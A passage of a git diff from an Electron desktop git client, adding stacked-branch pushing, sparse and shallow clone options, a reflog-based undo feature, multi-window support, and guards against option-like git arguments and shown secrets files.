`--skip=${opts.skip}`, ...(follow ? ['--follow', '-M'] : []), ...(opts.graph ? ['--date-order'] : [])]; const query = opts.query ?? null; const hasQuery = !!query && !isEmptyHistoryQuery(query); const refArgs = query?.allRefs ? ['--all'] : [opts.ref ?? 'HEAD']; @@ -374,6 +375,10 @@ export async function getCommitPatch(git: GitClient, repoPath: string, sha: stri const text = `diff --git a/${file.path} b/${file.path}\nBinary files differ (not shown)\n`; return { path: file.path, text, bytes: 0 }; } + if (secretFileReason(file.path)) { + const text = `diff --git a/${file.path} b/${file.path}\n(secrets file, not shown)\n`; + return { path: file.path, text, bytes: 0 }; + } const paths = file.oldPath ? [file.oldPath, file.path] : [file.path]; const args = isMerge ? ['diff', '--no-color', '--no-ext-diff', '-M', firstParent, sha, '--', ...paths] : ['show', '--no-color', '--format=', '-M', sha, '--', ...paths]; const res = await git.tryRun(repoPath, args, { readOnly: true, okExitCodes: [1], maxBuffer: 64 * 1024 * 1024 }); diff --git a/src/main/git/operations.ts b/src/main/git/operations.ts index e190fa1..8b4a432 100644 --- a/src/main/git/operations.ts +++ b/src/main/git/operations.ts @@ -1,7 +1,9 @@ import { mkdir, readFile, rm, writeFile } from 'node:fs/promises'; -import { join } from 'node:path'; +import { join, normalize } from 'node:path'; import type { OperationOutcome } from '@shared/ipc'; -import type { RebaseSquashOptions, Remote, Stash, Tag, GitConfigInfo, SigningConfig, SigningConfigInfo, SigningFormat } from '@shared/types'; +import type { CloneOptions, RebaseSquashOptions, Remote, Stash, Tag, GitConfigInfo, SigningConfig, SigningConfigInfo, SigningFormat } from '@shared/types'; +import { assertNewBranchName, assertNotOption } from '@shared/util'; +import { getBranches, getCurrentBranchName, getStackParents, getUpstreamRemote } from './branches'; import { getStashFiles, toFsPath } from './diff'; import { GitError, TransferProgressParser, type GitClient } from './git'; import { getGitDir } from './status'; @@ -39,6 +41,7 @@ export function getRemotes(git: GitClient, repoPath: string): Promise } export async function fetch(git: GitClient, repoPath: string, remote: string | null, onProgress: ProgressSink, signal?: AbortSignal): Promise { + assertNotOption(remote); const parser = new TransferProgressParser('fetch'); const args = ['fetch', '--progress', '--prune']; if (remote) args.push(remote); @@ -84,6 +87,7 @@ export async function push( onProgress: ProgressSink, signal?: AbortSignal, ): Promise { + assertNotOption(opts.remote, opts.branch); const parser = new TransferProgressParser('push'); const args = ['push', '--progress']; if (opts.force) args.push('--force-with-lease'); @@ -101,12 +105,85 @@ export async function push( }); } -export async function clone(git: GitClient, url: string, directory: string, branch: string | null, onProgress: ProgressSink, signal?: AbortSignal): Promise { - const parser = new TransferProgressParser('fetch'); - const args = ['clone', '--progress', '--recurse-submodules']; - if (branch) args.push('--branch', branch); +/** argv for pushing a whole stack of branches in one go, every one with a lease. */ +export function pushStackArgs(remote: string, branches: string[]): string[] { + assertNotOption(remote, ...branches); + return ['push', '--progress', '--force-with-lease', remote, ...branches]; +} + +/** + * Where a branch's stack is published, in git's own push order: `branch..pushRemote`, `remote.pushDefault`, the branch's + * upstream remote, then `origin`. An upstream remote of `.` means "tracks a local branch" (a stacked child), never a place to push, + * so it is skipped; with nothing configured a lone remote is used, and several unconfigured ones are refused as ambiguous. + */ +export async function resolvePushRemote(git: GitClient, repoPath: string, branch: string): Promise { + const config = async (key: string) => (await git.tryRun(repoPath, ['config', '--get', key], { readOnly: true }))?.stdout.trim() || null; + const configured = [await config(`branch.${branch}.pushRemote`), await config('remote.pushDefault'), await getUpstreamRemote(git, repoPath, branch)].find((r) => r && r !== '.'); + if (configured) return configured; + const names = (await getRemotes(git, repoPath)).map((r) => r.name); + const remote = names.includes('origin') ? 'origin' : names.length === 1 ? names[0] : null; + if (!remote) throw new Error(names.length ? `Several remotes and none is chosen for "${branch}": set branch.${branch}.pushRemote or remote.pushDefault.` : 'This repository has no remote to push the stack to.'); + return remote; +} + +/** + * Force-pushes (with lease) the current branch and the stack branches below it to its publishing remote (see resolvePushRemote). + * Only branches without any upstream get one afterwards, pointing at `remote/`; a child already tracking its parent locally keeps that. + * Returns the pushed branch names, oldest first. + */ +export async function pushStack(git: GitClient, repoPath: string, onProgress: ProgressSink, signal?: AbortSignal): Promise { + const current = await getCurrentBranchName(git, repoPath); + if (!current) throw new Error('Check out a branch to push its stack.'); + const branches = [...(await getStackParents(git, repoPath)), current]; + const local = new Map((await getBranches(git, repoPath)).filter((b) => b.kind === 'local').map((b) => [b.name, b])); + const remote = await resolvePushRemote(git, repoPath, current); + const parser = new TransferProgressParser('push'); + await git.run(repoPath, pushStackArgs(remote, branches), { + signal, + onStderr: (chunk) => { + const p = parser.feed(chunk); + if (p) onProgress(p.percent, p.description); + }, + timeoutMs: 30 * 60 * 1000, + }); + for (const b of branches.filter((n) => !local.get(n)?.upstream)) { + await git.run(repoPath, ['config', `branch.${b}.remote`, remote]); + await git.run(repoPath, ['config', `branch.${b}.merge`, `refs/heads/${b}`]); + } + return branches; +} + +/** Cone-mode sparse-checkout directories: repository-relative, forward slashes, no `..`, nothing option-like. */ +export function normalizeSparseDirs(dirs: string[]): string[] { + const out = dirs.map((d) => d.trim().replace(/\\/g, '/').replace(/^(\.\/|\/)+/, '').replace(/\/+$/, '')).filter(Boolean); + const bad = out.find((d) => d.startsWith('-') || d.split('/').includes('..')); + if (bad) throw new Error(`"${bad}" is not a valid sparse-checkout directory.`); + return [...new Set(out)]; +} + +/** argv for `git clone` honouring the advanced options (shallow, single branch, blobless partial clone, sparse checkout, submodules; submodules default to on). */ +export function cloneArgs(url: string, directory: string, opts: Omit): string[] { + assertNotOption(opts.branch); + const args = ['clone', '--progress']; + if (opts.submodules !== false) args.push('--recurse-submodules'); + if (opts.branch) args.push('--branch', opts.branch); + if (opts.depth != null) { + if (!Number.isInteger(opts.depth) || opts.depth < 1) throw new Error('Clone depth must be a whole number of 1 or more.'); + args.push('--depth', String(opts.depth)); + if (opts.submodules !== false) args.push('--shallow-submodules'); + } + // --depth already implies --single-branch in git, so a shallow clone needs no flag. + if (opts.singleBranch) args.push('--single-branch'); + if (opts.blobless) args.push('--filter=blob:none'); + if (opts.sparse?.length) args.push('--sparse'); args.push('--', url, directory); - await git.run(null, args, { + return args; +} + +export async function clone(git: GitClient, url: string, directory: string, opts: Omit, onProgress: ProgressSink, signal?: AbortSignal): Promise { + const parser = new TransferProgressParser('fetch'); + const sparse = normalizeSparseDirs(opts.sparse ?? []); + await git.run(null, cloneArgs(url, directory, { ...opts, sparse }), { signal, onStderr: (chunk) => { const p = parser.feed(chunk); @@ -114,11 +191,13 @@ export async function clone(git: GitClient, url: string, directory: string, bran }, timeoutMs: 60 * 60 * 1000, }); + if (sparse.length) await git.run(directory, ['sparse-checkout', 'set', '--cone', ...sparse]); } // ---------- merge / rebase / cherry-pick / revert ---------- export async function merge(git: GitClient, repoPath: string, branch: string, squash: boolean): Promise { + assertNotOption(branch); try { const args = squash ? ['merge', '--squash', branch] : ['merge', '--no-edit', branch]; const res = await git.run(repoPath, args, { env: { GIT_EDITOR: 'true' } }); @@ -142,9 +221,11 @@ export async function mergeContinue(git: GitClient, repoPath: string): Promise { +/** `--update-refs` (git 2.38+) also moves every local branch that points into the rebased range, which keeps a stack of branches intact. */ +export async function rebase(git: GitClient, repoPath: string, onto: string, updateRefs = false): Promise { + assertNotOption(onto); try { - await git.run(repoPath, ['rebase', onto], { env: { GIT_EDITOR: 'true', GIT_SEQUENCE_EDITOR: 'true' } }); + await git.run(repoPath, ['rebase', ...(updateRefs ? ['--update-refs'] : []), onto], { env: { GIT_EDITOR: 'true', GIT_SEQUENCE_EDITOR: 'true' } }); return { status: 'complete' }; } catch (err) { return outcomeFromError(err); @@ -182,6 +263,7 @@ export async function rebaseAbort(git: GitClient, repoPath: string): Promise { + assertNotOption(...shas); try { await git.run(repoPath, ['cherry-pick', ...shas], { env: { GIT_EDITOR: 'true' } }); return { status: 'complete' }; @@ -204,6 +286,7 @@ export async function cherryPickAbort(git: GitClient, repoPath: string): Promise } export async function revert(git: GitClient, repoPath: string, sha: string): Promise { + assertNotOption(sha); try { const isMerge = (await git.stdout(repoPath, ['rev-list', '--parents', '-n', '1', sha], { readOnly: true })).trim().split(' ').length > 2; await git.run(repoPath, ['revert', '--no-edit', ...(isMerge ? ['-m', '1'] : []), sha], { env: { GIT_EDITOR: 'true' } }); @@ -259,6 +342,7 @@ async function listTodo(git: GitClient, repoPath: string, base: string | null): /** Determines the rebase base for the given commits: parent of the oldest one, or null for --root. Exported for the AI rebase assistant's applier (src/main/git/rebase-apply.ts), which needs the same "parent of the oldest of a set of commits" computation for a History multi-selection. */ export async function rebaseBaseFor(git: GitClient, repoPath: string, shas: string[]): Promise { + assertNotOption(...shas); let oldest: string | null = null; for (const sha of shas) { if (oldest === null) { @@ -370,6 +454,7 @@ export async function reorderCommits(git: GitClient, repoPath: string, shas: str } export async function rewordCommit(git: GitClient, repoPath: string, sha: string, message: string): Promise { + assertNotOption(sha); const head = (await git.stdout(repoPath, ['rev-parse', 'HEAD'], { readOnly: true })).trim(); if (head === sha) { await git.run(repoPath, ['commit', '--amend', '--allow-empty', '-F', '-', '--cleanup=strip'], { stdin: message.endsWith('\n') ? message : `${message}\n` }); @@ -488,6 +573,7 @@ export async function stashDrop(git: GitClient, repoPath: string, sha: string): /** Creates a branch at the stash's parent commit, checks it out with the stash applied, and removes the stash (`git stash branch`). */ export async function stashBranch(git: GitClient, repoPath: string, sha: string, branchName: string): Promise { + assertNewBranchName(branchName); const ref = await requireStashRef(git, repoPath, sha); try { await git.run(repoPath, ['stash', 'branch', branchName, ref]); @@ -525,6 +611,8 @@ export async function getLatestReachableTag(git: GitClient, repoPath: string): P } export async function createTag(git: GitClient, repoPath: string, name: string, sha: string, message: string | null): Promise { + assertNewBranchName(name); + assertNotOption(sha); if (message && message.trim()) { // tag.gpgsign (if set) already makes an annotated tag signed automatically; no explicit -S needed here. await git.run(repoPath, ['tag', '-a', name, sha, '-F', '-'], { stdin: `${message.trim()}\n` }); @@ -538,6 +626,7 @@ export async function createTag(git: GitClient, repoPath: string, name: string, } export async function deleteTag(git: GitClient, repoPath: string, name: string, remote: boolean): Promise { + assertNotOption(name); await git.run(repoPath, ['tag', '-d', name]); if (remote) await git.tryRun(repoPath, ['push', 'origin', '--delete', `refs/tags/${name}`]); } @@ -709,12 +798,13 @@ export async function appendGitignore(repoPath: string, patterns: string[]): Pro } export async function isAncestor(git: GitClient, repoPath: string, ancestor: string, descendant: string): Promise { + assertNotOption(ancestor, descendant); return (await git.tryRun(repoPath, ['merge-base', '--is-ancestor', ancestor, descendant], { readOnly: true })) !== null; } export async function getTopLevel(git: GitClient, path: string): Promise { const out = await git.tryRun(path, ['rev-parse', '--show-toplevel'], { readOnly: true }); - return out?.stdout.trim() || null; + return out?.stdout.trim() ? normalize(out.stdout.trim()) : null; } export async function init(git: GitClient, directory: string, defaultBranch: string | null): Promise { diff --git a/src/main/git/reflog.ts b/src/main/git/reflog.ts new file mode 100644 index 0000000..cb14ae5 --- /dev/null +++ b/src/main/git/reflog.ts @@ -0,0 +1,120 @@ +import { assertNotOption } from '@shared/util'; +import type { ReflogEntry, UndoPlan } from '@shared/types'; +import { GitError, type GitClient } from './git'; +import * as ops from './operations'; + +const FIELD = '\x1f'; + +/** Parses `git reflog --format=%H%gs%ct` output (newest first). */ +export function parseReflog(output: string): ReflogEntry[] { + const entries: ReflogEntry[] = []; + for (const line of output.split('\n')) { + if (!line) continue; + const [sha, subject = '', ct = '0'] = line.split(FIELD); + const colon = subject.indexOf(': '); + entries.push({ + index: entries.length, + sha, + action: colon < 0 ? subject : subject.slice(0, colon), + message: colon < 0 ? '' : subject.slice(colon + 2), + timestamp: parseInt(ct, 10) * 1000, + }); + } + return entries; +} + +export async function getReflog(git: GitClient, repoPath: string, limit = 300): Promise { + // An unborn branch has no HEAD reflog yet; git exits non-zero there. + const out = await git.tryRun(repoPath, ['reflog', 'show', 'HEAD', `--format=%H${FIELD}%gs${FIELD}%ct`, '-n', String(limit)], { readOnly: true }); + return out ? parseReflog(out.stdout) : []; +} + +/** `rebase` and `pull --rebase` (whatever flags GitGood passes, or a `pull.rebase` config pull) log one entry per replayed commit; undoing one means undoing the whole run. */ +const REBASE_RE = /^(rebase\b|pull\b.*(\s--rebase\b|\([a-z-]+\)$))/; +const REBASE_START_RE = /\(start\)$/; +const LABELS: [RegExp, string][] = [ + [/^commit \(amend\)/, 'Amend'], + [/^commit \(merge\)/, 'Merge commit'], + [/^commit/, 'Commit'], + [/^merge\b/, 'Merge'], + [/^pull\b.*\s--rebase\b/, 'Pull (rebase)'], + [/^pull\b/, 'Pull'], + [/^rebase\b/, 'Rebase'], + [/^cherry-pick/, 'Cherry-pick'], + [/^revert/, 'Revert'], + [/^reset/, 'Reset'], +]; + +function describeEntry(e: ReflogEntry): string { + const label = LABELS.find(([re]) => re.test(e.action))?.[1] ?? e.action; + return REBASE_RE.test(e.action) || !e.message ? label : `${label}: ${e.message}`; +} + +/** + * The "Undo last Git operation" target for a newest-first HEAD reflog: the newest entry that actually moved HEAD + * (skipping `reset --hard HEAD`-style no-ops and aborted rebases). A checkout is undone by switching back; anything else + * by resetting to the state before it (before the whole run for a rebase). `localBranches` tells a branch from a detached commit. + */ +export function planUndo(entries: ReflogEntry[], localBranches: ReadonlySet): UndoPlan | null { + let i = 0; + while (i < entries.length) { + const e = entries[i]; + if (e.action === 'checkout') { + const m = /^moving from (\S+) to (\S+)$/.exec(e.message); + if (!m) return null; + if (m[1] === m[2]) { + i += 1; + continue; + } + const isBranch = localBranches.has(m[1]); + if (!isBranch && !/^[0-9a-f]{40}$/.test(m[1])) return null; + return { kind: 'checkout', description: `Checkout of ${m[2]}`, ref: m[1], isBranch }; + } + let next = i + 1; + // A rebase run ends at its `(start)` entry; the run before it is a separate undo step. + if (REBASE_RE.test(e.action)) { + next = i; + while (next < entries.length && REBASE_RE.test(entries[next].action)) if (REBASE_START_RE.test(entries[next++].action)) break; + } + const target = entries[next]; + if (!target) return null; + if (target.sha === e.sha) { + i = next; + continue; + } + return { kind: 'reset', description: describeEntry(e), target }; + } + return null; +} + +export async function getUndoPlan(git: GitClient, repoPath: string): Promise { + const entries = await getReflog(git, repoPath, 500); + const branches = await git.tryRun(repoPath, ['for-each-ref', '--format=%(refname:short)', 'refs/heads'], { readOnly: true }); + return planUndo(entries, new Set((branches?.stdout ?? '').split('\n').filter(Boolean))); +} + +const LOCAL_CHANGES_RE = /not uptodate|would be overwritten|Cannot merge/i; + +/** + * Moves the current branch (or detached HEAD) to `sha` with `reset --keep`: uncommitted changes survive unless they + * overlap files that differ, in which case git refuses (surfaced as `local-changes-overwritten`). With `stashFirst` + * the local changes are stashed (untracked included) before resetting. + */ +export async function resetKeep(git: GitClient, repoPath: string, sha: string, stashFirst: boolean): Promise { + assertNotOption(sha); + if (stashFirst) { + const dirty = (await git.stdout(repoPath, ['status', '--porcelain'], { readOnly: true })).trim(); + if (dirty) { + const branch = (await git.stdout(repoPath, ['branch', '--show-current'], { readOnly: true })).trim(); + await ops.stashPush(git, repoPath, 'Stashed before restoring an earlier state', true, null, branch || null); + } + } + try { + await git.run(repoPath, ['reset', '--keep', sha]); + } catch (err) { + if (err instanceof GitError && err.info.code !== 'local-changes-overwritten' && LOCAL_CHANGES_RE.test(`${err.info.stderr}\n${err.info.message}`)) { + throw new GitError({ ...err.info, code: 'local-changes-overwritten' }); + } + throw err; + } +} diff --git a/src/main/git/status.ts b/src/main/git/status.ts index 7baa937..796afeb 100644 --- a/src/main/git/status.ts +++ b/src/main/git/status.ts @@ -217,3 +217,18 @@ export async function getStatus(git: GitClient, repoPath: string): Promise f.status !== 'ignored'), operation, hasConflicts: files.some((f) => f.conflict !== null), lastFetched }; } + +/** Ahead/behind/dirty from raw `status --porcelain=v2 --branch -z` output: anything that is not a `# ` header is a changed or untracked entry. */ +export function parseStatusIndicator(output: string): { ahead: number; behind: number; hasChanges: boolean } { + const ab = /(?:^|\0)# branch\.ab \+(\d+) -(\d+)/.exec(output); + return { ahead: ab ? parseInt(ab[1], 10) : 0, behind: ab ? parseInt(ab[2], 10) : 0, hasChanges: output.split('\0').some((t) => t !== '' && !t.startsWith('# ')) }; +} + +/** + * The repository-list indicator without `getStatus`'s extras: no LFS attribute lookup, operation detection or FETCH_HEAD stat, + * and untracked directories stay collapsed (dirty needs only to know there is something). + */ +export async function getStatusIndicator(git: GitClient, repoPath: string): Promise<{ ahead: number; behind: number; hasChanges: boolean }> { + const result = await git.run(repoPath, ['status', '--porcelain=v2', '--branch', '--untracked-files=normal', '--ignore-submodules=none', '-z'], { readOnly: true, maxBuffer: 64 * 1024 * 1024 }); + return parseStatusIndicator(result.stdout); +} diff --git a/src/main/git/worktree.ts b/src/main/git/worktree.ts index 67b8bf5..657b597 100644 --- a/src/main/git/worktree.ts +++ b/src/main/git/worktree.ts @@ -1,4 +1,4 @@ -import { basename, dirname, isAbsolute, normalize, resolve } from 'node:path'; +import { basename, dirname, normalize, resolve } from 'node:path'; import type { AddWorktreeOptions, Worktree } from '@shared/types'; import type { GitClient } from './git'; import { getGitDir } from './status'; @@ -77,7 +77,8 @@ export async function listWorktrees(git: GitClient, repoPath: string): Promise ({ ...w, path: normalize(w.path) })); } export async function addWorktree(git: GitClient, repoPath: string, opts: AddWorktreeOptions): Promise { @@ -121,7 +122,7 @@ export async function pruneWorktrees(git: GitClient, repoPath: string): Promise< /** Absolute path to the `.git` directory shared by every worktree of this repository. */ export async function getCommonDir(git: GitClient, repoPath: string): Promise { const out = (await git.stdout(repoPath, ['rev-parse', '--git-common-dir'], { readOnly: true })).trim(); - return isAbsolute(out) ? out : resolve(repoPath, out); + return resolve(repoPath, out); } /** diff --git a/src/main/host/electron-host.ts b/src/main/host/electron-host.ts index c16819b..7d108b0 100644 --- a/src/main/host/electron-host.ts +++ b/src/main/host/electron-host.ts @@ -2,6 +2,7 @@ import { app, BrowserWindow, clipboard, dialog, nativeTheme, Notification, shell import type { AppSettings } from '@shared/types'; import type { ApiMethods } from '@shared/ipc'; import type { HostCapabilities } from '../core/host'; +import { refreshMenuShortcuts } from '../menu'; type ChooseDirectoryOptions = Parameters[0]; type ChooseFileOptions = Parameters[0]; @@ -9,7 +10,12 @@ type ChooseSavePathOptions = Parameters[0]; /** The desktop implementation of `HostCapabilities`: the native dialogs, shell, clipboard, notifications, theme and window zoom. */ export class ElectronHost implements HostCapabilities { - constructor(private readonly getWindow: () => BrowserWindow | null) {} + constructor( + private readonly getWindow: () => BrowserWindow | null, + private readonly openAppWindow: (repoId: string | null) => void = () => { + throw new Error('Opening another window is not available here.'); + }, + ) {} appVersion(): string { return app.getVersion(); @@ -71,4 +77,12 @@ export class ElectronHost implements HostCapabilities { win.webContents.setZoomLevel(next); return next; } + + async openWindow(repoId: string | null): Promise { + this.openAppWindow(repoId); + } + + setMenuShortcuts(overrides: AppSettings['shortcuts']): void { + refreshMenuShortcuts(overrides); + } } diff --git a/src/main/host/electron-store-platform.ts b/src/main/host/electron-store-platform.ts index 1f8eaa8..cb8287d 100644 --- a/src/main/host/electron-store-platform.ts +++ b/src/main/host/electron-store-platform.ts @@ -1,9 +1,17 @@ +import { join } from 'node:path'; import { app, safeStorage } from 'electron'; import type { StorePlatform } from '../core/store-platform'; /** Desktop `StorePlatform`: OS keychain via `safeStorage`, Documents dir and version via `app`. */ export const electronStorePlatform: StorePlatform = { - documentsDir: () => app.getPath('documents'), + // Headless Windows sessions may not register a shell Documents known-folder. + documentsDir: () => { + try { + return app.getPath('documents'); + } catch { + return join(app.getPath('home'), 'Documents'); + } + }, appVersion: () => app.getVersion(), encryptSecret: (value) => (safeStorage.isEncryptionAvailable() ? safeStorage.encryptString(value).toString('base64') : null), decryptSecret: (payload) => (safeStorage.isEncryptionAvailable() ? safeStorage.decryptString(Buffer.from(payload, 'base64')) : null), diff --git a/src/main/index.ts b/src/main/index.ts index d9a1e74..80e5b35 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -1,6 +1,6 @@ -import { accessSync, constants } from 'node:fs'; +import { accessSync, constants, statSync } from 'node:fs'; import { join } from 'node:path'; -import { app, BrowserWindow, dialog, Menu, nativeTheme, Notification } from 'electron'; +import { app, BrowserWindow, dialog, nativeTheme, Notification } from 'electron'; import { autoUpdater } from 'electron-updater'; import type { InboxItem } from '@shared/types'; import { ErrorExplainService } from './ai/error-explain'; @@ -10,12 +10,14 @@ import { PrDraftService } from './ai/prDraft'; import { RebasePlanService } from './ai/rebasePlan'; import { ReleaseNotesService } from './ai/release-notes'; import { ConflictResolver } from './ai/resolver'; +import { configureUsage } from './ai/usage'; import { ReviewService } from './ai/review'; import { SplitterService } from './ai/splitter'; import { TriageService } from './ai/triage'; import { applyInboxBadge } from './badge'; import { clientServerUrl, fetchServerVersion, isLocalServerUrl, registerClientIpc, showInboxNotification, waitForServer, watchServerVersion } from './client'; -import { ensureManagedServer, setUpManagedServer } from './local-server'; +import { BACKGROUND_SERVER_FLAG, ensureManagedServer, managedServerSupported, setUpManagedServer, startBackgroundServer } from './local-server'; +import { pathFromArgv } from './argv'; import { GitClient } from './git/git'; import { fetch as gitFetch } from './git/operations'; import { GhClient } from './gh/gh'; @@ -24,11 +26,13 @@ import { shouldNotifyInboxItem } from './gh/inbox'; import { SettingsSyncService } from './gh/settings-sync'; import { registerIpc, sendEvent, type HandlerDeps } from './ipc'; import { EventBus } from './core/bus'; +import { currentClient } from './core/client-context'; +import { windowClientId, windowsFor } from './core/event-routing'; import { ElectronHost } from './host/electron-host'; import { electronStorePlatform } from './host/electron-store-platform'; import { WatchedFolderScanner } from './repo/watched-folders'; import { initLogger, log } from './logger'; -import { buildMenu } from './menu'; +import { installMenu } from './menu'; import { parseProtocolUrl, protocolUrlFromArgv } from './protocol'; import { RepositoryManager } from './repo/manager'; import { Store } from './store'; @@ -58,13 +62,19 @@ if (process.env.GITGOOD_USER_DATA) app.setPath('userData', process.env.GITGOOD_U const PROTOCOLS = ['gitgood', 'x-github-client']; const pendingProtocolUrls: string[] = []; +const pendingOpenPaths: string[] = []; -const gotLock = app.requestSingleInstanceLock(); -if (!gotLock) { +const backgroundServer = process.argv.includes(BACKGROUND_SERVER_FLAG); +const gotLock = backgroundServer || app.requestSingleInstanceLock(); +if (backgroundServer) { + // Windows login item: only the headless server, no window/menu and no single-instance lock (the GUI app must still start). + startBackgroundServer(); +} else if (!gotLock) { app.quit(); } else { - let mainWindow: BrowserWindow | null = null; - const getWindow = () => mainWindow; + let clientMode = false; + /** The window that gets menu, protocol-link and command-line actions: the focused one, else any (headless smoke windows are never focused). */ + const getWindow = () => BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0] ?? null; const deliverProtocolUrl = (raw: string) => { const parsed = parseProtocolUrl(raw); @@ -76,17 +86,29 @@ if (!gotLock) { } if (win.isMinimized()) win.restore(); win.focus(); - if (parsed.kind === 'review-rerun') sendEvent(win, 'menu.action', { action: 'protocol-review-rerun', args: { repoPath: parsed.repoPath } }); + if (parsed.kind === 'review-rerun') sendEvent(win, 'menu.action', { action: 'protocol-review-rerun', args: { repoPath: parsed.repoPath, token: parsed.token } }); else sendEvent(win, 'menu.action', { action: 'protocol-open', args: { url: parsed.url, branch: parsed.branch, filepath: parsed.filepath } }); }; - app.on('second-instance', (_event, argv) => { - if (mainWindow) { - if (mainWindow.isMinimized()) mainWindow.restore(); - mainWindow.focus(); + /** Opens a folder passed on the command line (`gitgood `). Local mode only: in client mode the path is on this machine, the repositories on the server. */ + const openPath = (argv: string[], cwd: string) => { + if (clientMode) return; + const path = pathFromArgv(argv, { defaultApp: !!process.defaultApp, cwd, isDirectory: (p) => statSync(p, { throwIfNoEntry: false })?.isDirectory() ?? false }); + if (!path) return; + const win = getWindow(); + if (win) sendEvent(win, 'menu.action', { action: 'open-path', args: { path } }); + else pendingOpenPaths.push(path); + }; + + app.on('second-instance', (_event, argv, workingDirectory) => { + const win = getWindow(); + if (win) { + if (win.isMinimized()) win.restore(); + win.focus(); } const url = protocolUrlFromArgv(argv); if (url) deliverProtocolUrl(url); + openPath(argv, workingDirectory); }); app.on('open-url', (event, url) => { event.preventDefault(); @@ -94,6 +116,7 @@ if (!gotLock) { }); const initialUrl = protocolUrlFromArgv(process.argv); if (initialUrl) pendingProtocolUrls.push(initialUrl); + openPath(process.argv, process.cwd()); /** Delivers protocol links that arrived before the renderer could take them. */ const flushPendingProtocolUrls = (win: BrowserWindow) => { @@ -101,6 +124,7 @@ if (!gotLock) { // Give the renderer a moment to bootstrap before delivering queued links. setTimeout(() => { for (const raw of pendingProtocolUrls.splice(0)) deliverProtocolUrl(raw); + if (!clientMode) for (const path of pendingOpenPaths.splice(0)) sendEvent(win, 'menu.action', { action: 'open-path', args: { path } }); }, 1500); }); }; @@ -124,6 +148,7 @@ if (!gotLock) { if (serverUrl) { // Client mode keeps the repository on the server, but the desktop still owns its installer update channel. log.info(`Client mode: using the GitGood server at ${serverUrl}`); + clientMode = true; const disabledEnv: DisabledEnv = { isPackaged: app.isPackaged, platform: process.platform, portableExecutableDir: process.env.PORTABLE_EXECUTABLE_DIR, appImagePath: process.env.APPIMAGE, appImageWritable: appImageWritable(process.env.APPIMAGE) }; const updateProvider = new ElectronUpdaterProvider(autoUpdater as unknown as ElectronAutoUpdater, () => store.getSettings().updateChannel); const updater = new Updater(store, updateProvider, (state) => { @@ -142,17 +167,16 @@ if (!gotLock) { log.warn(`Could not update the managed GitGood server: ${(err as Error).message}`); } } - Menu.setApplicationMenu(buildMenu(getWindow)); + // Client mode: no New Window. Each window would be a separate server client, but the updater, theme and inbox-badge plumbing here targets a single window. + installMenu(getWindow); const openWindow = () => { - mainWindow = createMainWindow(store, undefined, serverUrl); - watchServerVersion(serverUrl, mainWindow, app.getVersion(), updater); - mainWindow.on('closed', () => { - mainWindow = null; - }); - flushPendingProtocolUrls(mainWindow); + const win = createMainWindow(store, undefined, serverUrl); + watchServerVersion(serverUrl, win, app.getVersion(), updater); + flushPendingProtocolUrls(win); + return win; }; - openWindow(); - if (process.env.GITGOOD_SMOKE_SCRIPT && mainWindow) runSmokeScript(mainWindow, process.env.GITGOOD_SMOKE_SCRIPT); + const firstWindow = openWindow(); + if (process.env.GITGOOD_SMOKE_SCRIPT) runSmokeScript(firstWindow, process.env.GITGOOD_SMOKE_SCRIPT); app.on('activate', () => { if (BrowserWindow.getAllWindows().length === 0) openWindow(); }); @@ -161,14 +185,21 @@ if (!gotLock) { nativeTheme.themeSource = store.getSettings().theme; const bus = new EventBus(); - const host = new ElectronHost(getWindow); + const host = new ElectronHost(getWindow, (repoId) => openDesktopWindow(repoId)); const busy = new Set(); - bus.subscribe((event, payload) => sendEvent(getWindow(), event, payload)); + // Each window is its own client (see core/event-routing): events go to the window that owns them, app-wide ones to all. + bus.subscribe((event, payload) => { + const windows = BrowserWindow.getAllWindows().filter((w) => !w.isDestroyed()).map((win) => ({ win, clientId: windowClientId(win.webContents.id) })); + for (const { win } of windowsFor(event, payload, currentClient(), windows, (repoPath) => repos.clientsWatching(repoPath))) sendEvent(win, event, payload); + }); const tools = new ToolLocator(store); + tools.onChange((state) => bus.emit('tools.changed', state)); const git = new GitClient(tools); const gh = new GhClient(tools); const repos = new RepositoryManager(store, git, bus.emit); + tools.policyRepo = (repoPath) => repos.policyRepo(repoPath); + configureUsage(userData); const resolver = new ConflictResolver(store, tools, git); const review = new ReviewService(store, tools, git, gh, repos, userData); const splitter = new SplitterService(store, tools, git); @@ -184,7 +215,7 @@ if (!gotLock) { gh, (state) => { bus.emit('gh.inbox.changed', state); - applyInboxBadge(getWindow(), state.unreadCount); + for (const win of BrowserWindow.getAllWindows()) applyInboxBadge(win, state.unreadCount); }, (items) => notifyNewInboxItems(items), { listLocalRepos: () => store.getRepositories().map((r) => ({ id: r.id, github: r.github })), getAccount: () => tools.current().ghAccount }, @@ -203,7 +234,7 @@ if (!gotLock) { }, { getVersion: () => app.getVersion(), manualUrl: RELEASES_URL, disabledEnv, isPerMachineInstall: isPerMachineInstall(process.execPath, process.platform) }); const deps: HandlerDeps = { store, tools, git, gh, repos, resolver, review, splitter, triage, prDraft, rebasePlan, releaseNotes, explain, errorExplain, inbox, settingsSync, updater, nlPalette, watchedFolders, host, emit: bus.emit, busy }; registerIpc(deps); - Menu.setApplicationMenu(buildMenu(getWindow, { showManagedServer: process.platform === 'linux' && app.isPackaged, onManagedServer: () => void setUpManagedServer(userData) })); + installMenu(getWindow, { showManagedServer: managedServerSupported(), onManagedServer: () => void setUpManagedServer(userData), onNewWindow: () => openDesktopWindow(null), shortcuts: store.getSettings().shortcuts }); /** Desktop notification for a freshly-arrived inbox item (only while the window is unfocused; see shouldNotifyInboxItem for the per-category gating). */ function notifyNewInboxItems(items: InboxItem[]): void { @@ -229,16 +260,21 @@ if (!gotLock) { // it a window recreated after every window was closed stops driving the // inbox poller's focus/blur cadence. const onFocusChange = (focused: boolean) => (focused ? inbox.onFocus() : inbox.onBlur()); - mainWindow = createMainWindow(store, onFocusChange); - applyInboxBadge(mainWindow, inbox.getState().unreadCount); + /** Opens a window as its own client. `repoId` is the repository it starts on: undefined = the most recently opened, null = none. */ + const openDesktopWindow = (repoId?: string | null): BrowserWindow => { + const win = createMainWindow(store, onFocusChange, undefined, repoId === undefined ? undefined : `repo=${encodeURIComponent(repoId ?? '')}`); + applyInboxBadge(win, inbox.getState().unreadCount); + const clientId = windowClientId(win.webContents.id); + // A closed window gives up the repository it was watching, like a server client disconnecting. + win.on('closed', () => repos.releaseClient(clientId)); + return win; + }; + const firstWindow = openDesktopWindow(); inbox.start(); updater.start(); watchedFolders.watchSettings(); - mainWindow.on('closed', () => { - mainWindow = null; - }); - flushPendingProtocolUrls(mainWindow); - if 